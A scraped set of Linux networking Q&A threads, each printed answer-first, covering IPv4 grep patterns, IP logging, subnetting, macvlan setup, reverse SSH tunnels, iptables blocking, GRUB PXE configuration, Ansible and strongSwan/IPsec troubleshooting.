I have to find the ipv4 in a file.The problem is if there are other words on the same line as the IP the script wont print it.Here is my script: #!/bin/bashif [ -e ip.txt ] then grep -E '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$' ip.txt else echo "file not found" fiNow if I have something like this the script wont print the IP: 198.54.34.6 text
grep finding ipv4 as words instead of lines
printf "IP: %s - %s\n" $(curl --silent ipinfo.io/ip) $(date +"%m/%d/%Y")To have Time in the result, simply add %T shortened of %H:%M:%S. printf "IP: %s - %s\n" $(curl --silent ipinfo.io/ip) $(date +"%m/%d/%Y-%T")Just add this in crontab to get your desired output. 0 0 * * * printf "IP: %s - %s\n" $(curl -s ipinfo.io/ip) $(date +'\%m/\%d/\%Y') >>to-file
Is there a way to write something (in this case an external IP) with date & time and append it to a file? Is it possible to do it in one line? I can do this: curl ipinfo.io/ip >> ip.logWhich gives me this: $ cat ip.log X.X.X.XHowever, I would like the log to read: IP: X.X.X.X - 09/28/2017 IP: X.X.X.X - 09/29/2017
Single line command for logging IP
It is impossible to divide 65536 addresses into 5 equal parts, since 65536/5 = 13107.2 and you can't have a "one-fifth address".
I having a hard time understanding IP subnetting for /16 mask. I went through some tutorials and understood the host part and non-vlsm but with vlsm and dividing into equal parts, is something I am not sure yet. Especially for the below sample, if someone can help me with the output, I will be able to deduce the explanation. For this: 10.0.0.0/16, I have been asked to divide into 5 equal parts. Based on the tutorials I followed, one of them is this : IP Subnetting, I came up with these but my mentor says its wrong and I am not sure why. 10.0.0.0/18 --- IP Range: 10.0.0.1 ==> 10.0.63.254 (16384 IP addresses) 10.0.64.0/18 --- IP Range: 10.0.64.1 ==> 10.0.127.254 (16384 IP addresses) 10.0.128.0/18 --- IP Range: 10.0.128.1 ==> 10.0.191.254 (16384 IP addresses) 10.0.192.0/19 --- IP Range: 10.0.192.1 ==> 10.0.223.254 (8192 IP addresses) 10.0.224.0/19 --- IP Range: 10.0.224.1 ==> 10.0.255.254 (8192 IP addresses)I am assuming it's incorrect because it's not in equal parts. I hope someone guides and can provide the correct answer to it. Thanks in advance!
IP Subnetting /16 into 5 equal parts [closed]
This will do what you want: grep '^1\.' filenameThe ^ symbol indicates the beginning of the line, and \. means literal dot.
I have a list of subnets in a file. I just need to extract those subnets which have common octet as mentioned. I tried using grep "grep -oP '1.[^"]+' but still I got some different results. for example I have a log as. 1.1.1.0/24 2.74.2.0/24 11.2.1.0/24 1.9.55.0/24I just want to extract the subnet having common first octect as 1 so the result should be 1.1.1.0/24 1.9.55.0/24
Extract all subnets from its first common octet
I have a system with address 192.168.1.175: # ip addr show eth0 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 2c:f0:5d:c9:12:a9 brd ff:ff:ff:ff:ff:ff altname eno2 altname enp0s31f6 inet 192.168.1.175/24 brd 192.168.1.255 scope global dynamic noprefixroute eth0 valid_lft 80184sec preferred_lft 80184sec inet6 fe80::ed9c:756f:92a:ef21/64 scope link noprefixroute valid_lft forever preferred_lft foreverWe're going to add a macvlan interface with the address 192.168.1.190 and demonstrate that it has a different MAC address. Create a network namespace: ip netns add ns0Create a macvlan device linked to your primary NIC and place it inside the ns0 namesapce: ip link add macvlan0 netns ns0 link eth0 type macvlan mode bridgeThis gets us: # ip -n ns0 link show macvlan0 6386: macvlan0@eth0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN mode DEFAULT group default qlen 1000 link/ether c2:f9:01:dd:eb:95 brd ff:ff:ff:ff:ff:ffAssign an address to the new interface: ip -n ns0 addr add 192.168.1.190/24 dev macvlan0And bring up the interface: ip -n ns0 link set macvlan0 upFrom another system on the network: pi@retropie:~ $ sudo arp-scan 192.168.1.175 192.168.1.190 Interface: wlan0, datalink type: EN10MB (Ethernet) Starting arp-scan 1.9.5 with 2 hosts (https://github.com/royhills/arp-scan) 192.168.1.175 2c:f0:5d:c9:12:a9 (Unknown) 192.168.1.190 c2:f9:01:dd:eb:95 (Unknown)3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.5: 2 hosts scanned in 4.221 seconds (0.47 hosts/sec). 2 respondedI can also ping the new address: pi@retropie:~ $ ping 192.168.1.190 PING 192.168.1.190 (192.168.1.190) 56(84) bytes of data. 64 bytes from 192.168.1.190: icmp_seq=1 ttl=64 time=25.3 ms 64 bytes from 192.168.1.190: icmp_seq=2 ttl=64 time=13.5 ms 64 bytes from 192.168.1.190: icmp_seq=3 ttl=64 time=10.5 ms ^C --- 192.168.1.190 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 6ms rtt min/avg/max/mdev = 10.520/16.424/25.270/6.371 ms
Using one Ubuntu machine with one physical NIC, I want to make it seem that there are two or more additional machines on my real network, all controlled by this one Ubuntu machine. For example, I have a 192.168.1.x network. My Ubuntu machine has an IP of 192.168.1.10 with a mac address of 00:11:22:33:44:55. I want to make deploy another "machine" with an IP address of 192.168.1.11 and a mac address of 55:44:33:22:11. Therefore, when I arp-scan the local network from 192.168.1.9, it should display the following. ... 192.168.1.10 00:11:22:33:44:55 192.168.1.11 55:44:33:22:11:00 ...Both machines need to respond to ping as well from other real machines on my real network. The idea is to make it seem to 192.168.1.9 that there .10 and .11 are two independent machines on the real network. Looking for a relatively simple set of commands that would create this "machine", without creating any additional virtual machines or docker containers. Thanks in advance for your help!
Unique Mac address for Secondary IP address?
The easiest solution would be to stick with standard setup and have your Linux VM obtain its IP address automatically via DHCP. That way, VMware (in NAT mode) or your router or DHCP server (in bridged mode) will take care of setting an IP address, netmask and default gateway that will allow the VM to communicate. If for some reason you don't want to use automatic configuration, you have to choose a free IP address from the network you're connecting the VM to, and set the correct default gateway of that network. As you didn't share any information on your network setup I cannot help you with that.
I am new to linux and have been trying to connect ssh for a whole day but it is just not working: I am using VMware to host virtual linux.Initially I discovered that my virtual linux is not on the same ip as my Windows, where My Windows ip address is:192.168.1.79, so I changed my internet configuration of Linux to the following: TYPE=Ethernet PROXY_METHOD=none BROWSER_ONLY=no BOOTPROTO=static DEFROUTE=yes IPV4_FAILURE_FATAL=no IPV6INIT=yes IPV6_AUTOCONF=yes IPV6_DEFROUTE=yes IPV6_FAILURE_FATAL=no IPV6_ADDR_GEN_MODE=stable-privacy NAME=ens33 UUID=b5b31e0a-6326-4130-b7a3-8621377a9817 DEVICE=ens33 ONBOOT=yes DNS1=8.8.8.8 IPADDR=192.168.1.188 NETMASK=255.255.255.0 GATEWAY=192.168.1.1I also changed form NAT to Bridged After doing 1, where I changed the ip address of my linux to 192.168.1.188, I can successfully ping 192.168.1.188 on my Windows. But I cannot ping anything in linux. I also notice that my setting of Adapter Vmnet8 is set to obtain an IP address automatically, and my current ip address for Vmnet8 is 192.168.238.1Any help will be deeply appreciated!!! Have been working on this forever and could not get it working.
Linux Ping not working and ssh cannot connect to linux
From Linux bind(2) man page:It is normally necessary to assign a local address using bind() before a SOCK_STREAM socket may receive connections (see accept(2)). The rules used in name binding vary between address families. Consult the manual entries in Section 7 for detailed information. For AF_INET, see ip(7); for AF_INET6, see ipv6(7); for AF_UNIX, see unix(7); for AF_APPLETALK, see ddp(7); for AF_PACKET, see packet(7); for AF_X25, see x25(7); and for AF_NETLINK, see netlink(7).And for IPv4, the ip(7) man page says:When a process wants to receive new incoming packets or connections, it should bind a socket to a local interface address using bind(2). In this case, only one IP socket may be bound to any given local (address, port) pair. When INADDR_ANY is specified in the bind call, the socket will be bound to all local interfaces. When listen(2) is called on an unbound socket, the socket is automatically bound to a random free port with the local address set to INADDR_ANY.So it would seem that for IPv4 TCP or UDP sockets, the IP to bind must be either INADDR_ANY or one of the IP addresses assigned to any of the network interfaces on the local system. But it also says:There are several special addresses: INADDR_LOOPBACK (127.0.0.1) always refers to the local host via the loopback device; INADDR_ANY (0.0.0.0) means any address for binding; INADDR_BROADCAST (255.255.255.255) means any host and has the same effect on bind as INADDR_ANY for historical reasons.So, binding to 255.255.255.255 is valid and has the same effect of 0.0.0.0, but in modern implementations 0.0.0.0 is the preferred one. And if you set the IP_FREEBIND socket option, you can bind to any address, in the assumption that the bound-to address may appear on some local interface at a later time. Until that actually happens, though, a socket bound in such a way may not be very useful. Linux also has a SO_BINDTODEVICE socket option which can be used to bind a socket to a specific network interface without specifying its IP address.
What IP address(es) can't be bound to a listening socket? For example, can a server process bind 255.255.255.255 to a listening socket? Thanks.
What IP address(es) can't be bound to a listening socket?
You need a reverse tunnel. In the following example, you will forward local port 22 from your MacOS laptop, to port 2222 on remote server. Assuming that remote server has a static IP address of X.X.X.X, you can create a reverse tunnel using following command from your laptop: ssh -fnN -R 2222:localhost:22 [emailprotected]On the other end (server side), the users will SSH to the linux server as per normal,and then they will start a new SSH session to your laptop using following command (from within the Linux server) ssh -p 2222 laptop-user@localhost
My MacOS laptop does not have a static Public IP. I just connect to the Internet on my MacOS Laptop using a wifi connection. There is a server having static non-changing IP in another country that needs to connect to my Laptop using ssh and perform some tasks. How can I get my MacOS Laptop IP from the command line that I can give to the server Team to connect to my Laptop. I tried to give them the public IP of my MacOS i.e "103.248.203.94", using google's "what is my IP" search, and also using host myip.opendns.com resolver1.opendns.com Using domain server: Name: resolver1.opendns.com Address: 208.67.222.222#53 Aliases: myip.opendns.com has address 103.248.203.94I'm also able to connect to localhost 22 on my MacOS like below affirming the service is running: $telnet localhost 22 Trying ::1... Connected to localhost. Escape character is '^]'. SSH-2.0-OpenSSH_7.9But, the Server Team is not able to connect to my Public IP even though the ssh is setup alright. Can you please suggest ?
How can I find IP address of my MacOS Laptop that others can ssh connect to?
First of all, packet filters such as Linux iptables cannot block or allow traffic by hostname(s) or domain. Packet filters only understand IP addresses. Secondly, FirewallD cannot filter outbound traffic, unless you hack it. Therefore you must simply use iptables. You must first resolve all the hostnames contained in the list, to IP addresses. You can use this tool if you have hundreds or thousands of hostnames to resolve: http://domaintoipconverter.com/index.php Then save the list of IP address to a file (list.txt for example) $ cat list.txt 10.20.20.2 8.8.8.8 1.1.1.1 1.2.3.4 8.8.4.4Then add the IP addresses to firewall rules using a simple script Red Hat / CentOS #!/bin/bash # Stop and disable firewalld systemctl stop firewalld systemctl disable firewalld yum clean all yum install iptables-services -y systemctl enable iptables systemctl start iptables # For loop statement that will read and add all the IPs from the list to firewall rule. for i in $(cat list.txt); do iptables -A OUTPUT -d "$i" -j DROP done # Save the rules service iptables saveDebian / Ubuntu #!/bin/bash apt-get update apt install iptables-persistent -y # For loop statement that will read and add all the IPs from the list to firewall rule. for i in $(cat list.txt); do iptables -A OUTPUT -d "$i" -j DROP done # Save the rules netfilter-persistent save netfilter-persistent reloadVerify the changes: $ iptables -L
I have a comma seperated list of IP addresses in a text file like this: 192.xxx.xxx.xxx,213.www.www.www,255.yyy.yyy.yyyCan I block my Ubuntu 19 from connecting to those IP addresses? If yes, How?
How can I restrict my computer's ability to connect to other ip's
PXELINUX is not "doing symlinks": it's just downloading a configuration file whose name includes the client's IP or MAC address or part of it. The fact that the matching file happens to be a symlink is entirely between you and your TFTP server that provides the file to PXELINUX. Note that unlike PXELINUX, GRUB only looks for a single configuration file, which is grub.cfg by default. So that's what you need to supply it. If you want GRUB to use a configuration file whose name is somehow dependent on client's IP address, you'll need to tell that to GRUB. That configuration file can then tell GRUB to load another configuration file... and you can use GRUB environment variables when specifying its name. So, if you want GRUB to use a configuration file named grub.cfg-<IP address>, then you should first create a very minimal grub.cfg file in the location expected by GRUB, and have it say something like this (only): configfile grub.cfg-${net_default_ip}This should tell GRUB to download a new configuration file with the client IP address suffixed to the filename. You might even specify the new configuration file with an absolute path, with something like configfile (tftp,${net_default_server})/some/path/grub.cfg-${net_default_ip}If you don't like having a separate grub.cfg file with just the one line defining a new configuration file, you could embed this one-line configuration into the GRUB PXE boot image, by using grub-mkimage -c <grub.cfg containing the configfile command> -O i386-pc-pxe <other parameters...> (or whichever architecture you're using).You've probably already discovered that when you're having trouble getting PXE boot working, it's useful to dump the network traffic between the PXE client and the DHCP/TFTP server(s) with something like tcpdump or wireshark to verify the client is getting the correct information and requesting the correct files in turn... right?
I do want to do symlinks like pxelinux can, just with grub2. But I cant figure out how. The goal is to have different config-files which I can dynamicly pass to an IP. Grub2 does work so far but I cant give an IP another config file, it always takes the grub.cfg. I tried also grub.cfg-IP -> another config file -> is a symlink to the config file I actually want to use. Maybe someone did figure this out already. Grub2 Manual didnt help much.
Symlinks with grub2 like pxelinux
Use dig: for host in hostA.com hostB.com hostC.com do # get ips to host using dig ips=($(dig "$host" a +short | grep '^[.0-9]*$')) for ip in "${ips[@]}"; do printf 'allow\t\t%s\n' "$ip" done done > allowedip.incOutput: $ cat allowedip.inc allow 64.22.213.2 allow 67.225.218.50 allow 66.45.246.141Loop through a file with one host per line: while IFS= read -r host; do # get ips to host using dig ips=($(dig "$host" a +short | grep '^[.0-9]*$')) for ip in "${ips[@]}"; do printf 'allow\t\t%s\n' "$ip" done done < many_hosts_file > allowedip.inc
I'm trying to reverse lookup a list of hostnames to find their IPs and write to a file. I'm referring to this tutorial and expand on it to work with a list of hostnames. I'm new to Bash scripting and here's what I came up with which does not print as desired, for name in hostA.com hostB.com hostC.com; do host $name | grep "has address" | sed 's/.*has address //' | awk '{print "allow\t\t" $1 ";" }' > ./allowedip.inc done
Looking up IPs and writing to file in Bash
first rule syntactically correct second rule logically true third rule depends on your distro.I'd expect an entry for localhost and possibly for the system's hostname. localhost may be an ipv6 entry (::1) in which case there may be an additional entry for ipv4-localhost What you should you put in the hosts file is any IP address to domain name relations that you do not want to rely on DNS to determine. This is not default, this is customisation.
What are the rules that decide what goes into the initial /etc/hosts file of a a server with these characteristics?It has a internal IP address for the internal subnet. which is in the 172.20.x.x range It has a public facing IP address which has a 1 to 1 mapping with the internal IP addressifconfig only shows the internal IP address, which is 172.20.x.x,which doesn't seem to be part of the range reserved for internal networks (which is what has me somewhat confused)
What are the rules that determine the default contents of an /etc/hosts file?
213.79.101.145 will be the wan address of your router and the first hop with its lan address being 192.168.60.1. I assume your server is also the router and that it is using PPPoE to get its wan IP address. I also assume you are with the Russian ISP COMCOR. Alternatively, That IP address is at the other end of the PPP link within your ISP.
If I issue traceroute I see my server IP (213.79.101.145): traceroute to google.com (108.177.14.138), 30 hops max, 60 byte packets 1 213.79.101.145 (213.79.101.145) 10.660 ms 10.630 ms 10.655 ms ... 15 * * lt-in-f138.1e100.net (108.177.14.138) 19.682 msBut if I issue route -n I don't see it: Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 0.0.0.0 192.168.60.1 0.0.0.0 UG 100 0 0 eno1 172.17.0.0 0.0.0.0 255.255.0.0 U 0 0 0 docker0 172.22.0.0 0.0.0.0 255.255.0.0 U 0 0 0 br-3401d68d5001 172.23.0.0 0.0.0.0 255.255.0.0 U 0 0 0 br-ca69b5732844 172.24.0.0 0.0.0.0 255.255.0.0 U 0 0 0 br-34a7a87f6474 172.25.0.0 0.0.0.0 255.255.0.0 U 0 0 0 br-5eefb7a364c3 192.168.6.0 192.168.26.200 255.255.255.0 UG 0 0 0 ppp0 192.168.15.0 192.168.26.200 255.255.255.0 UG 0 0 0 ppp0 192.168.26.200 0.0.0.0 255.255.255.255 UH 0 0 0 ppp0 192.168.51.0 192.168.60.168 255.255.255.0 UG 100 0 0 eno1 192.168.60.0 0.0.0.0 255.255.255.0 U 100 0 0 eno1Neither ss nor netstat nor ifconfig show it. Why? P.S. If you need an additional information I`ll try to give it.
Why I see IP in traceroute not in ifconfig, netstat etc
In the example you provide, you could use anchors: - name: Replace old ips in /etc/shorewall/rules replace: path: /etc/shorewall/rules regexp: '(\D){{ oldip }}(\D)' replace: '\1{{ newip }}\2' backup: 'yes'Search for a non-digit, followed by the old IP, followed by another non-digit. Replace with the first non-digit found, followed by the new IP, and the second capture group. If there's any risk of the backreferences being misinterpreted (for example, if your new IP were hardcoded rather than in a variable), use \g to avoid confusion between \1 and \1100 : replace: '\g<1>100.100.100.100\2'
Assume that shorewall rules config contain ACCEPT net:1.234.5.253 all tcp 3306 ACCEPT net:1.234.5.2 all tcp 80 ACCEPT net:1.234.5.2 all tcp 80 ACCEPT net:1.2.3.4,1.234.5.22,1.1.1.1 all tcp 3306I want replace them with ansible - name: Replace old ips in /etc/shorewall/rules replace: path: /etc/shorewall/rules regexp: '{{ oldip }}' replace: '{{ newip }}' backup: 'yes'Variables are vars: oldip: 1.234.5.2 newip: 100.100.100.100Im getting output which is correct, but im expecting replace EXACT match of ip not this output ACCEPT net:100.100.100.10053 all tcp 3306 ACCEPT net:100.100.100.100 all tcp 80 ACCEPT net:100.100.100.100 all tcp 80 ACCEPT net:1.2.3.4,100.100.100.1002,1.1.1.1 all tcp 3306Is there any way how to solve it ?
Ansible - Change Exact IP address
Alright, I had two ways now to do it: Either add another NIC to the machine with an IP of the second IP range or try to get a bigger IP range (/26 instead /27). First, I tried it with the second NIC, which worked out fine. Later on I received a /26 net and reconfigured everything, so all CMs are in the same net. Both methods are legit/working.
I have set up a DHCPD service on a Linux server, which shall provide fixed public IP addresses for cable modem devices based on MAC addresses. Here is the configuration file of the DHCPD. The server's IP address is 212.200.200.34 (it has only one interface) and the CMTS has the IP address 172.30.30.2. The CMTS and the DHCP servers are in the same VLAN 2000. ddns-update-style none; option domain-name-servers 8.8.8.8, 8.8.4.4; default-lease-time 23200; max-lease-time 86400; lease-file-name "/var/db/dhcpd.leases"; authoritative; log-facility local7;shared-network CMTS-PUBLIC-IPS {subnet 212.200.200.32 netmask 255.255.255.224 { option dhcp-server-identifier 212.200.200.34; server-identifier 212.200.200.34; option routers 212.200.200.33; option subnet-mask 255.255.255.224; option time-servers 212.200.200.34; range 212.200.200.36 212.200.200.62; option broadcast-address 212.200.200.63; server-name "212.200.200.34"; option domain-name "bla"; host SID-900111 { hardware ethernet 55:47:6d:ed:03:c9; fixed-address 212.200.200.36; } host SID-111334 { hardware ethernet 61:5a:6d:ef:cb:b4; fixed-address 212.200.200.37; } ...}subnet 212.100.100.96 netmask 255.255.255.224 { option dhcp-server-identifier 212.200.200.34; server-identifier 212.200.200.34; option routers 212.200.200.33; option subnet-mask 255.255.255.224; option time-servers 212.200.200.34; range 212.100.100.97 212.100.100.126; option broadcast-address 212.100.100.127; server-name "212.200.200.34"; option domain-name "bla"; host SID-111109 { hardware ethernet 21:4e:6c:ac:09:43; fixed-address 212.100.100.97; } host SID-111110 { hardware ethernet 53:4e:6d:da:38:0a; fixed-address 212.100.100.98; } ...}}So, the addresses of the first range (212.200.200.36 - 212.200.200.62) are given out correctly to the devices. The addresses of the second range (212.100.100.97 - 212.100.100.126) are not, stating an error in the logs: wrong network. Can you tell me, what I am missing here? I created a simple graphic file. The DHCP A is not important. The problem exists in DHCP B.
DHCPD with two different ranges
Sure: grep -lrE '([0-9]{1,3}\.){3}[0-9]{1,3}' /etc-l means list only matching files -r is recursive -E is extended regexRegex taken from https://unix.stackexchange.com/a/296597/243015
I am using Red Hat Enterprise 6 and I'm trying to search through the /etc/ directory for files that contain any IPv4 address.
How do I use grep to output only the names of files that contain any ipv4 address
Match at the start of the line (^ anchor) and substitute the new text at the end of the line ($ anchor): $ sed '/^USER CONSOLA/ s/$/,!10.10.11.1/' file.txt # gfhfhgfh gfhfghgfhgfhgfh MACs # access USER CONSOLA *,!10.249.247.3,!10.249.245.65,!10.10.11.1 /bin/falseIf your file has Windows/DOS style CRLF line endings that you wish to preserve, modify the above to sed '/^USER CONSOLA/ s/\r$/,!10.10.11.1\r/' file.txtIf you don't wish to preserve the DOS endings, then either remove them first with dos2unix or by adding an additional command to do that in sed: sed -e 's/\r$//' -e '/^USER CONSOLA/ s/$/,!10.10.11.1/' file.txt
I have the following file.txt that follows the same pattern and I want to modify it where this file is by adding an ip: # gfhfhgfh gfhfghgfhgfhgfh MACs # access USER CONSOLA *,!10.249.247.3,!10.249.245.65 /bin/falseI want to add an ip in the end of the line that contains as patron USER CONSOLE: USER CONSOLA *,!10.249.247.4,!10.249.245.65,!10.249.245.90,I only manage to add the ip in the whole document at the moment but not in that particular line the code used is sed 's/\r\?$/,!10.10.11.1/' file.txt
Enter IP at the end of a specific line [closed]
According to the manual, the comma separated notation should be correct...It is if the other peer supports multiple subnets per CHILD_SA. It's possible that that's not the case here. If so, you'd have to define multiple conn sections to initiate separate CHILD_SAs: conn %default keyexchange=ikev2 authby=secretconn net-net ike=aes256-sha512-modp2048! leftauth=psk left=xx.xx.xx.xx leftsubnet=10.255.1.0/24 leftfirewall=yes rightauth=psk right=yy.yy.yy.yy auto=add rightsubnet=10.250.72.0/24conn net-host also=net-net rightsubnet=192.168.149.199/32A "strongswan up net-net" succeeds, but after that a "strongswan up net-host" fails with "received INVALID_SYNTAX notify error". When I set net-host up first, this one succeeds and net-net fails after that. So the second one always fails...It seems this peer also has issues if more than one CHILD_SA is created per IKE_SA (however, INVALID_SYNTAX is a strange error in that case). To avoid that charon.reuse_ikesa in strongswan.conf may be disabled. That way a new IKE_SA is created along with the second CHILD_SA. The latter might cause problems if only one IKE_SA is allowed per peer. So yet another possible option (if the peer supports it) is to set rightsubnet=0.0.0.0/0 (only one conn section needed), then the other peer could narrow that down to the subnets it allows. However, that is kinda similar to your first try, so it might not work with peers that have problems with multiple subnets per CHILD_SA in the first place.
I have a Strongswan installation on CentOS7 connecting to a Palo Alto router. I have no access to the config on the remote router. I want to configure two subnets on the other side - one is only a single IP. I have this config in ipsec.conf: conn %default keyexchange=ikev2 authby=secretconn net-net ike=aes256-sha512-modp2048! leftauth=psk left=xx.xx.xx.xx leftsubnet=10.255.1.0/24 leftfirewall=yes rightauth=psk right=yy.yy.yy.yy auto=add rightsubnet=10.250.72.0/24,192.168.149.199/32After starting the tunnel, I can only ping 192.168.149.199, but no hosts in 10.250.72.0/24. If I only configure the 10.250.72.0/24 subnet, ping works into it. My version: [root@ipsec01 strongswan]# strongswan --version Linux strongSwan U5.4.0/K3.10.0-514.6.1.el7.x86_64According to the manual, the comma separated notation should be correct. What configuration should I use?
Strongswan: several right subnets
Normally what you use is a tunnel, created using ip tunnel add. The tunnel device gives you a virtual device that encapsulates IP packets inside other IP packets. Then the encapsulated packet can be encrypted using IPsec. For example, you can create a GRE tunnel using: ip tunnel add mytunnel mode gre remote 198.51.100.2 ip addr add 10.0.0.1 peer 10.0.0.2/31 dev mytunnelThen you can configure IPSec to encrypt GRE packets (either in general, or just to that destination).
I'm trying to set up an IPsec connection manually from the console with iproute2. What I need is a virtual interface (at best, a virtual IP address could also be sufficient) that IPsec-transforms everthing ingressing (ESP/TUNNEL MODE) and hands it over to eth0 (on my system called em1). On the other set a peer takes the packet from its own eth deciphers it and hands it over to a virtual interface a the other side. So I want do establish a "normal" IPsec tunnel. I've got no problem with the policy and SA, and configuring that was easy using the normal ethernet addresses of the systems in transport mode, i.e. ip xfrm policy add src 198.51.100.1 dst 198.51.100.2 dir out tmpl proto esp ip xfrm state add src 198.51.100.1 dst 198.51.100.2 spi 24501 proto esp enc des 0xAABBCCDDEEFF0011 ip xfrm state add src 198.51.100.2 dst 198.51.100.1 spi 24501 proto esp enc des 0xAABBCCDDEEFF0022and an adversary configuration on the peer works quite well. Now I tried to set up a virtual IP and a route to the other system with ip address add 10.0.0.0 dev em1 ip route add to 10.0.0.2 via 10.0.0.1and again vice versa on the other side. This again works well. Then I altered the IPsec policy and SA to ip xfrm policy add src 10.0.0.1 dst 10.0.0.2 dir out tmpl src 198.51.100.1 dst 198.51.100.2 proto esp mode tunnel ip xfrm state add src 10.0.0.1 dst 10.0.0.2 spi 24501 proto esp enc des 0xAABBCCDDEEFF0011 ip xfrm state add src 10.0.0.2 dst 10.0.0.1 spi 24501 proto esp enc des 0xAABBCCDDEEFF0022When I now try to tcping the peer I get no answer and setkey -PD tells me, that the security policy was never triggered. Now I'm trying to fabricate a working virtual interface to handle the IPsec tunnel, but I don't know how to bind it to the physical interface and how I get the kernel to apply the security policy. It is vital for me that I can solve this with iproute2, as I ultimately want to do this out of a C++ program and I have already the appropriate classes that drop Netlink commands the same style the ip command does (what I can do with ip, I also can do within my code). In fact, the first part already works out of my program and I want to use the same Netlink API functions for the rest. Update I figured out that the state needed to be set up with the tunnel addresses so the working SAs are ip xfrm state add src 10.0.0.1 dst 10.0.0.2 spi 24501 proto esp enc des 0xAABBCCDDEEFF0011 ip xfrm state add src 10.0.0.2 dst 10.0.0.1 spi 24501 proto esp enc des 0xAABBCCDDEEFF0022while the policy remains the same. Now the policy is triggered and I see a transformed packet on a sniffing port. Also iptables on the other machine blocked the packet and I disabled it for testing. So, the one direction seems to work now, but I still get no answer. I also don't know if the problem is yet somehow the transform, the routing or the interface part. My prefered solution would still be one including a virtual interface, but I don't have any idea how to bind it to a physical one, let alone if the transform would work that way.
What do I need to add a virtual IPsec adapter?
That legacy check looks for /proc/net/pfkey. If not found, the code tries to load the af_key module via modprobe and then checks again. However, the PF_KEYv2 interface provided by the af_key module is not used on Linux, by default. Instead, the Netlink/XFRM interface provided by the xfrm_user module is used. The starter process has no explicit check for that, though. So if your kernel provides all required modules for IPsec and XFRM but just not the af_key module that's not a problem and you should be able to establish the connection just fine. As the message suggests, ignore these warnings and simply try to initiate the connection with ipsec up. Update: These checks were removed with strongSwan 5.8.0.
I'm trying to connect to my university's VPN using strongSwan on Arch Linux. They have given example ipsec.conf and ipsec.secrets files and I've installed strongSwan from the AUR. As far as I'm aware, I just need to run ipsec up UNI, where "UNI" is the name of the connection. But before that, when I run ipsec start I get the following output: Starting strongSwan 5.5.0 IPsec [starter]... no netkey IPsec stack detected no KLIPS IPsec stack detected no known IPsec stack detected, ignoring!If I search for this error message online all I can find are answers on FreeBSD mailing lists/forums saying don't worry, it's a Linux specific error, we FreeBSDers don't need to worry about it. There doesn't seem to be a way of running ipsec with a more verbose output so I have no idea how to resolve the error. Any help would be much appreciated.
strongSwan - gives error "no known IPsec stack detected, ignoring!"
FreeBSD's network stack supports IPsec, but that's just the lower layer of IPsec-based VPN connections. If you don't want to configure security associations (SAs) manually (with encryption/authentication keys you need to place securely on both ends and have to replace regularly) you'll want to use a keying daemon that implements the Internet Key Exchange (IKE) protocol to automate this. strongSwan implements both versions of that protocol and allows setting up and replacing SAs automatically, the hosts are thereby authenticated securely (e.g. using X.509 certificates) and keys are dynamically generated using e.g. the Diffie-Hellman key exchange. strongSwan operates as a userland daemon that communicates with the FreeBSD kernel using the PF_KEYv2 protocol in order to configure the negotiated IPsec SAs and policies (which define which traffic is secured by which SA) in the network stack. racoon is an alternative keying daemon, but it only implements the IKEv1 protocol and it's not actively developed anymore (unless you consider its forks in e.g. iOS/OS X and Android). The ipsec-tools package that provides racoon also comes with setkey, which may be used for manual keying but also allows querying the kernel state. So this utility might be useful even when using other keying daemons like strongSwan to check if the installed SAs and policies are as they should be.
As far as I understand, FreeBSD comes with the native ability to make vpn connections. Ist strongswan a package, that comes on top of the freebsd ipsec stack or is it a replacement?
Why use strongswan rather than native vpn support
It sounds like cron is not seeing ipsec in the path. It's a pretty good habit to include absolute paths to binaries in crontab. There is probably some complaining in /var/log/messages or /var/log/cron. */1 * * * * /usr/sbin/ipsec auto --status You could also add the PATH environment variable to the top of the crontab. The PATH will apply to all the jobs in the crontab. PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/sbin:/usr/local/bin: */1 * * * * /usr/sbin/ipsec auto --status
I have a server monitoring script which, among other things, checks the state of an IPSec tunnel using ipsec auto --statusIt works like a charm when run from the console (as root) but as soon as I run it from a (root) cronjob, the command fails: no output at all. I even tried to create this simple root cronjob: */1 * * * * ipsec auto --status > /tmp/ipsec.txtAll it does is create an empty /tmp/ipsec.txt file! Note: All other tasks in the script including networking and DB access work fine. Any lights welcome.
ipsec auto --status fails in cronjob
So, after researching more, I found out that the problem in /usr/local/bin/Yubikey.sh script which calls ipsec as a service which caused the stroke socket charon.ctl to fail. Instead, I had to change it to: #!/bin/sh service strongswan restartSo, I had to use strongswan instead of ipsec as in the recent distributions , ipsec command has been renamed to strongswan.
I have tried to find some answers on this and other sites trying to find out the problem, but my attempts failed. The rule is very simple: I want to establish my Ipsec tunnel when my Yubikey is plugged.My rule is in the file /etc/udev/rules.d/local.rules In which the script goes as: SUBSYSTEM=="input", ACTION=="add", ENV{ID_MODEL}=="Yubikey_4_OTP+U2F+CCID" , RUN+="/usr/local/bin/Yubikey.sh"Then the script /usr/local/bin/Yubikey.sh contains: #!/bin/sh ipsec restart if (ipsec status | grep none);then ipsec up connection fiThis invokes the script when any input device is plugged, and then the script should restart ipsec and initiate the tunnel if there was not a tunnel initiated before. However, the tunnel doesn't initiate as I get the following error when I run ipsec status command: connecting to 'unix:///var/run/charon.ctl' failed: Connection refused failed to connect to stroke socket 'unix"//var/run/charon.ctl'
Connecting to 'unix"//var/run/charon.ctl' failed: connection refused
